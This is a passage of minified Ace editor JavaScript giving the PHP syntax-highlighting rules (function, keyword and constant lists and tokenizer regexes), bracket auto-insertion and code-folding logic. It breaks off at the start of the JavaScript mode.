8jsexception|var_dump|var_export|variant|variant_abs|variant_add|variant_and|variant_cast|variant_cat|variant_cmp|variant_date_from_timestamp|variant_date_to_timestamp|variant_div|variant_eqv|variant_fix|variant_get_type|variant_idiv|variant_imp|variant_int|variant_mod|variant_mul|variant_neg|variant_not|variant_or|variant_pow|variant_round|variant_set|variant_set_type|variant_sub|variant_xor|version_compare|vfprintf|virtual|vpopmail_add_alias_domain|vpopmail_add_alias_domain_ex|vpopmail_add_domain|vpopmail_add_domain_ex|vpopmail_add_user|vpopmail_alias_add|vpopmail_alias_del|vpopmail_alias_del_domain|vpopmail_alias_get|vpopmail_alias_get_all|vpopmail_auth_user|vpopmail_del_domain|vpopmail_del_domain_ex|vpopmail_del_user|vpopmail_error|vpopmail_passwd|vpopmail_set_user_quota|vprintf|vsprintf|w32api_deftype|w32api_init_dtype|w32api_invoke_function|w32api_register_function|w32api_set_call_method|wddx_add_vars|wddx_deserialize|wddx_packet_end|wddx_packet_start|wddx_serialize_value|wddx_serialize_vars|win32_continue_service|win32_create_service|win32_delete_service|win32_get_last_control_message|win32_pause_service|win32_ps_list_procs|win32_ps_stat_mem|win32_ps_stat_proc|win32_query_service_status|win32_set_service_status|win32_start_service|win32_start_service_ctrl_dispatcher|win32_stop_service|wincache_fcache_fileinfo|wincache_fcache_meminfo|wincache_lock|wincache_ocache_fileinfo|wincache_ocache_meminfo|wincache_refresh_if_changed|wincache_rplist_fileinfo|wincache_rplist_meminfo|wincache_scache_info|wincache_scache_meminfo|wincache_ucache_add|wincache_ucache_cas|wincache_ucache_clear|wincache_ucache_dec|wincache_ucache_delete|wincache_ucache_exists|wincache_ucache_get|wincache_ucache_inc|wincache_ucache_info|wincache_ucache_meminfo|wincache_ucache_set|wincache_unlock|wordwrap|xattr_get|xattr_list|xattr_remove|xattr_set|xattr_supported|xdiff_file_bdiff|xdiff_file_bdiff_size|xdiff_file_bpatch|xdiff_file_diff|xdiff_file_diff_binary|xdiff_file_merge3|xdiff_file_patch|xdiff_file_patch_binary|xdiff_file_rabdiff|xdiff_string_bdiff|xdiff_string_bdiff_size|xdiff_string_bpatch|xdiff_string_diff|xdiff_string_diff_binary|xdiff_string_merge3|xdiff_string_patch|xdiff_string_patch_binary|xdiff_string_rabdiff|xhprof_disable|xhprof_enable|xhprof_sample_disable|xhprof_sample_enable|xml_error_string|xml_get_current_byte_index|xml_get_current_column_number|xml_get_current_line_number|xml_get_error_code|xml_parse|xml_parse_into_struct|xml_parser_create|xml_parser_create_ns|xml_parser_free|xml_parser_get_option|xml_parser_set_option|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_object|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|xmlreader|xmlrpc_decode|xmlrpc_decode_request|xmlrpc_encode|xmlrpc_encode_request|xmlrpc_get_type|xmlrpc_is_fault|xmlrpc_parse_method_descriptions|xmlrpc_server_add_introspection_data|xmlrpc_server_call_method|xmlrpc_server_create|xmlrpc_server_destroy|xmlrpc_server_register_introspection_callback|xmlrpc_server_register_method|xmlrpc_set_type|xmlwriter_end_attribute|xmlwriter_end_cdata|xmlwriter_end_comment|xmlwriter_end_document|xmlwriter_end_dtd|xmlwriter_end_dtd_attlist|xmlwriter_end_dtd_element|xmlwriter_end_dtd_entity|xmlwriter_end_element|xmlwriter_end_pi|xmlwriter_flush|xmlwriter_full_end_element|xmlwriter_open_memory|xmlwriter_open_uri|xmlwriter_output_memory|xmlwriter_set_indent|xmlwriter_set_indent_string|xmlwriter_start_attribute|xmlwriter_start_attribute_ns|xmlwriter_start_cdata|xmlwriter_start_comment|xmlwriter_start_document|xmlwriter_start_dtd|xmlwriter_start_dtd_attlist|xmlwriter_start_dtd_element|xmlwriter_start_dtd_entity|xmlwriter_start_element|xmlwriter_start_element_ns|xmlwriter_start_pi|xmlwriter_text|xmlwriter_write_attribute|xmlwriter_write_attribute_ns|xmlwriter_write_cdata|xmlwriter_write_comment|xmlwriter_write_dtd|xmlwriter_write_dtd_attlist|xmlwriter_write_dtd_element|xmlwriter_write_dtd_entity|xmlwriter_write_element|xmlwriter_write_element_ns|xmlwriter_write_pi|xmlwriter_write_raw|xpath_eval|xpath_eval_expression|xpath_new_context|xpath_register_ns|xpath_register_ns_auto|xptr_eval|xptr_new_context|xslt_backend_info|xslt_backend_name|xslt_backend_version|xslt_create|xslt_errno|xslt_error|xslt_free|xslt_getopt|xslt_process|xslt_set_base|xslt_set_encoding|xslt_set_error_handler|xslt_set_log|xslt_set_object|xslt_set_sax_handler|xslt_set_sax_handlers|xslt_set_scheme_handler|xslt_set_scheme_handlers|xslt_setopt|xsltprocessor|yaml_emit|yaml_emit_file|yaml_parse|yaml_parse_file|yaml_parse_url|yaz_addinfo|yaz_ccl_conf|yaz_ccl_parse|yaz_close|yaz_connect|yaz_database|yaz_element|yaz_errno|yaz_error|yaz_es|yaz_es_result|yaz_get_option|yaz_hits|yaz_itemorder|yaz_present|yaz_range|yaz_record|yaz_scan|yaz_scan_result|yaz_schema|yaz_search|yaz_set_option|yaz_sort|yaz_syntax|yaz_wait|yp_all|yp_cat|yp_err_string|yp_errno|yp_first|yp_get_default_domain|yp_master|yp_match|yp_next|yp_order|zend_logo_guid|zend_thread_id|zend_version|zip_close|zip_entry_close|zip_entry_compressedsize|zip_entry_compressionmethod|zip_entry_filesize|zip_entry_name|zip_entry_open|zip_entry_read|zip_open|zip_read|ziparchive|ziparchive_addemptydir|ziparchive_addfile|ziparchive_addfromstring|ziparchive_close|ziparchive_deleteindex|ziparchive_deletename|ziparchive_extractto|ziparchive_getarchivecomment|ziparchive_getcommentindex|ziparchive_getcommentname|ziparchive_getfromindex|ziparchive_getfromname|ziparchive_getnameindex|ziparchive_getstatusstring|ziparchive_getstream|ziparchive_locatename|ziparchive_open|ziparchive_renameindex|ziparchive_renamename|ziparchive_setCommentName|ziparchive_setarchivecomment|ziparchive_setcommentindex|ziparchive_statindex|ziparchive_statname|ziparchive_unchangeall|ziparchive_unchangearchive|ziparchive_unchangeindex|ziparchive_unchangename|zlib_get_coding_type\".split(\"|\")),n=i.arrayToMap(\"abstract|and|array|as|break|case|catch|class|clone|const|continue|declare|default|do|else|elseif|enddeclare|endfor|endforeach|endif|endswitch|endwhile|extends|final|for|foreach|function|global|goto|if|implements|interface|instanceof|namespace|new|or|private|protected|public|static|switch|throw|try|use|var|while|xor\".split(\"|\")),r=i.arrayToMap(\"die|echo|empty|exit|eval|include|include_once|isset|list|require|require_once|return|print|unset\".split(\"|\")),o=i.arrayToMap(\"true|false|null|__CLASS__|__DIR__|__FILE__|__LINE__|__METHOD__|__FUNCTION__|__NAMESPACE__\".split(\"|\")),u=i.arrayToMap(\"$GLOBALS|$_SERVER|$_GET|$_POST|$_FILES|$_REQUEST|$_SESSION|$_ENV|$_COOKIE|$php_errormsg|$HTTP_RAW_POST_DATA|$http_response_header|$argc|$argv\".split(\"|\")),a=i.arrayToMap(\"key_exists|cairo_matrix_create_scale|cairo_matrix_create_translate|call_user_method|call_user_method_array|com_addref|com_get|com_invoke|com_isenum|com_load|com_release|com_set|connection_timeout|cubrid_load_from_glo|cubrid_new_glo|cubrid_save_to_glo|cubrid_send_glo|define_syslog_variables|dl|ereg|ereg_replace|eregi|eregi_replace|hw_documentattributes|hw_documentbodytag|hw_documentsize|hw_outputdocument|imagedashedline|maxdb_bind_param|maxdb_bind_result|maxdb_client_encoding|maxdb_close_long_data|maxdb_execute|maxdb_fetch|maxdb_get_metadata|maxdb_param_count|maxdb_send_long_data|mcrypt_ecb|mcrypt_generic_end|mime_content_type|mysql_createdb|mysql_dbname|mysql_db_query|mysql_drop_db|mysql_dropdb|mysql_escape_string|mysql_fieldflags|mysql_fieldflags|mysql_fieldname|mysql_fieldtable|mysql_fieldtype|mysql_freeresult|mysql_listdbs|mysql_list_fields|mysql_listfields|mysql_list_tables|mysql_listtables|mysql_numfields|mysql_numrows|mysql_selectdb|mysql_tablename|mysqli_bind_param|mysqli_bind_result|mysqli_disable_reads_from_master|mysqli_disable_rpl_parse|mysqli_enable_reads_from_master|mysqli_enable_rpl_parse|mysqli_execute|mysqli_fetch|mysqli_get_metadata|mysqli_master_query|mysqli_param_count|mysqli_rpl_parse_enabled|mysqli_rpl_probe|mysqli_rpl_query_type|mysqli_send_long_data|mysqli_send_query|mysqli_slave_query|ocibindbyname|ocicancel|ocicloselob|ocicollappend|ocicollassign|ocicollassignelem|ocicollgetelem|ocicollmax|ocicollsize|ocicolltrim|ocicolumnisnull|ocicolumnname|ocicolumnprecision|ocicolumnscale|ocicolumnsize|ocicolumntype|ocicolumntyperaw|ocicommit|ocidefinebyname|ocierror|ociexecute|ocifetch|ocifetchinto|ocifetchstatement|ocifreecollection|ocifreecursor|ocifreedesc|ocifreestatement|ociinternaldebug|ociloadlob|ocilogoff|ocilogon|ocinewcollection|ocinewcursor|ocinewdescriptor|ocinlogon|ocinumcols|ociparse|ociplogon|ociresult|ocirollback|ocirowcount|ocisavelob|ocisavelobfile|ociserverversion|ocisetprefetch|ocistatementtype|ociwritelobtofile|ociwritetemporarylob|PDF_add_annotation|PDF_add_bookmark|PDF_add_launchlink|PDF_add_locallink|PDF_add_note|PDF_add_outline|PDF_add_pdflink|PDF_add_weblink|PDF_attach_file|PDF_begin_page|PDF_begin_template|PDF_close_pdi|PDF_close|PDF_findfont|PDF_get_font|PDF_get_fontname|PDF_get_fontsize|PDF_get_image_height|PDF_get_image_width|PDF_get_majorversion|PDF_get_minorversion|PDF_get_pdi_parameter|PDF_get_pdi_value|PDF_open_ccitt|PDF_open_file|PDF_open_gif|PDF_open_image_file|PDF_open_image|PDF_open_jpeg|PDF_open_pdi|PDF_open_tiff|PDF_place_image|PDF_place_pdi_page|PDF_set_border_color|PDF_set_border_dash|PDF_set_border_style|PDF_set_char_spacing|PDF_set_duration|PDF_set_horiz_scaling|PDF_set_info_author|PDF_set_info_creator|PDF_set_info_keywords|PDF_set_info_subject|PDF_set_info_title|PDF_set_leading|PDF_set_text_matrix|PDF_set_text_rendering|PDF_set_text_rise|PDF_set_word_spacing|PDF_setgray_fill|PDF_setgray_stroke|PDF_setgray|PDF_setpolydash|PDF_setrgbcolor_fill|PDF_setrgbcolor_stroke|PDF_setrgbcolor|PDF_show_boxed|php_check_syntax|px_set_tablename|px_set_targetencoding|runkit_sandbox_output_handler|session_is_registered|session_register|session_unregisterset_magic_quotes_runtime|magic_quotes_runtime|set_socket_blocking|socket_set_blocking|set_socket_timeout|socket_set_timeout|split|spliti|sql_regcase\".split(\"|\")),f=i.arrayToMap(\"cfunction|old_function\".split(\"|\")),l=i.arrayToMap([]);this.$rules={start:[{token:\"comment\",regex:/(?:#|\\/\\/)(?:[^?]|\\?[^>])*/},e.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/][gimy]*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language\",regex:\"\\\\b(?:DEFAULT_INCLUDE_PATH|E_(?:ALL|CO(?:MPILE_(?:ERROR|WARNING)|RE_(?:ERROR|WARNING))|ERROR|NOTICE|PARSE|STRICT|USER_(?:ERROR|NOTICE|WARNING)|WARNING)|P(?:EAR_(?:EXTENSION_DIR|INSTALL_DIR)|HP_(?:BINDIR|CONFIG_FILE_(?:PATH|SCAN_DIR)|DATADIR|E(?:OL|XTENSION_DIR)|INT_(?:MAX|SIZE)|L(?:IBDIR|OCALSTATEDIR)|O(?:S|UTPUT_HANDLER_(?:CONT|END|START))|PREFIX|S(?:API|HLIB_SUFFIX|YSCONFDIR)|VERSION))|__COMPILER_HALT_OFFSET__)\\\\b\"},{token:[\"keyword\",\"text\",\"support.class\"],regex:\"\\\\b(new)(\\\\s+)(\\\\w+)\"},{token:[\"support.class\",\"keyword.operator\"],regex:\"\\\\b(\\\\w+)(::)\"},{token:\"constant.language\",regex:\"\\\\b(?:A(?:B(?:DAY_(?:1|2|3|4|5|6|7)|MON_(?:1(?:0|1|2|)|2|3|4|5|6|7|8|9))|LT_DIGITS|M_STR|SSERT_(?:ACTIVE|BAIL|CALLBACK|QUIET_EVAL|WARNING))|C(?:ASE_(?:LOWER|UPPER)|HAR_MAX|O(?:DESET|NNECTION_(?:ABORTED|NORMAL|TIMEOUT)|UNT_(?:NORMAL|RECURSIVE))|R(?:EDITS_(?:ALL|DOCS|FULLPAGE|G(?:ENERAL|ROUP)|MODULES|QA|SAPI)|NCYSTR|YPT_(?:BLOWFISH|EXT_DES|MD5|S(?:ALT_LENGTH|TD_DES)))|URRENCY_SYMBOL)|D(?:AY_(?:1|2|3|4|5|6|7)|ECIMAL_POINT|IRECTORY_SEPARATOR|_(?:FMT|T_FMT))|E(?:NT_(?:COMPAT|NOQUOTES|QUOTES)|RA(?:_(?:D_(?:FMT|T_FMT)|T_FMT|YEAR)|)|XTR_(?:IF_EXISTS|OVERWRITE|PREFIX_(?:ALL|I(?:F_EXISTS|NVALID)|SAME)|SKIP))|FRAC_DIGITS|GROUPING|HTML_(?:ENTITIES|SPECIALCHARS)|IN(?:FO_(?:ALL|C(?:ONFIGURATION|REDITS)|ENVIRONMENT|GENERAL|LICENSE|MODULES|VARIABLES)|I_(?:ALL|PERDIR|SYSTEM|USER)|T_(?:CURR_SYMBOL|FRAC_DIGITS))|L(?:C_(?:ALL|C(?:OLLATE|TYPE)|M(?:ESSAGES|ONETARY)|NUMERIC|TIME)|O(?:CK_(?:EX|NB|SH|UN)|G_(?:A(?:LERT|UTH(?:PRIV|))|C(?:ONS|R(?:IT|ON))|D(?:AEMON|EBUG)|E(?:MERG|RR)|INFO|KERN|L(?:OCAL(?:0|1|2|3|4|5|6|7)|PR)|MAIL|N(?:DELAY|EWS|O(?:TICE|WAIT))|ODELAY|P(?:ERROR|ID)|SYSLOG|U(?:SER|UCP)|WARNING)))|M(?:ON_(?:1(?:0|1|2|)|2|3|4|5|6|7|8|9|DECIMAL_POINT|GROUPING|THOUSANDS_SEP)|_(?:1_PI|2_(?:PI|SQRTPI)|E|L(?:N(?:10|2)|OG(?:10E|2E))|PI(?:_(?:2|4)|)|SQRT(?:1_2|2)))|N(?:EGATIVE_SIGN|O(?:EXPR|STR)|_(?:CS_PRECEDES|S(?:EP_BY_SPACE|IGN_POSN)))|P(?:ATH(?:INFO_(?:BASENAME|DIRNAME|EXTENSION)|_SEPARATOR)|M_STR|OSITIVE_SIGN|_(?:CS_PRECEDES|S(?:EP_BY_SPACE|IGN_POSN)))|RADIXCHAR|S(?:EEK_(?:CUR|END|SET)|ORT_(?:ASC|DESC|NUMERIC|REGULAR|STRING)|TR_PAD_(?:BOTH|LEFT|RIGHT))|T(?:HOUS(?:ANDS_SEP|EP)|_FMT(?:_AMPM|))|YES(?:EXPR|STR)|STD(?:IN|OUT|ERR))\\\\b\"},{token:function(e){return n.hasOwnProperty(e)?\"keyword\":o.hasOwnProperty(e)?\"constant.language\":u.hasOwnProperty(e)?\"variable.language\":l.hasOwnProperty(e)?\"invalid.illegal\":t.hasOwnProperty(e)?\"support.function\":e==\"debugger\"?\"invalid.deprecated\":e.match(/^(\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*|self|parent)$/)?\"variable\":\"identifier\"},regex:/[a-zA-Z_$\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/},{onMatch:function(e,t,n){e=e.substr(3);if(e[0]==\"'\"||e[0]=='\"')e=e.slice(1,-1);return n.unshift(this.next,e),\"markup.list\"},regex:/<<<(?:\\w+|'\\w+'|\"\\w+\")$/,next:\"heredoc\"},{token:\"keyword.operator\",regex:\"::|!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|!=|!==|<=|>=|=>|<<=|>>=|>>>=|<>|<|>|=|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],heredoc:[{onMatch:function(e,t,n){return n[1]!=e?\"string\":(n.shift(),n.shift(),\"markup.list\")},regex:\"^\\\\w+(?=;?$)\",next:\"start\"},{token:\"string\",regex:\".*\"}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"constant.language.escape\",regex:'\\\\\\\\(?:[nrtvef\\\\\\\\\"$]|[0-7]{1,3}|x[0-9A-Fa-f]{1,2})'},{token:\"variable\",regex:/\\$[\\w]+(?:\\[[\\w\\]+]|[=\\-]>\\w+)?/},{token:\"variable\",regex:/\\$\\{[^\"\\}]+\\}?/},{token:\"string\",regex:'\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string\",regex:\"'\",next:\"start\"},{defaultToken:\"string\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")])};r.inherits(a,o);var f=function(){u.call(this);var e=[{token:\"support.php_tag\",regex:\"<\\\\?(?:php|=)?\",push:\"php-start\"}],t=[{token:\"support.php_tag\",regex:\"\\\\?>\",next:\"pop\"}];for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],e);this.embedRules(a,\"php-\",t,[\"start\"]),this.normalizeRules()};r.inherits(f,u),t.PhpHighlightRules=f,t.PhpLangHighlightRules=a}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var 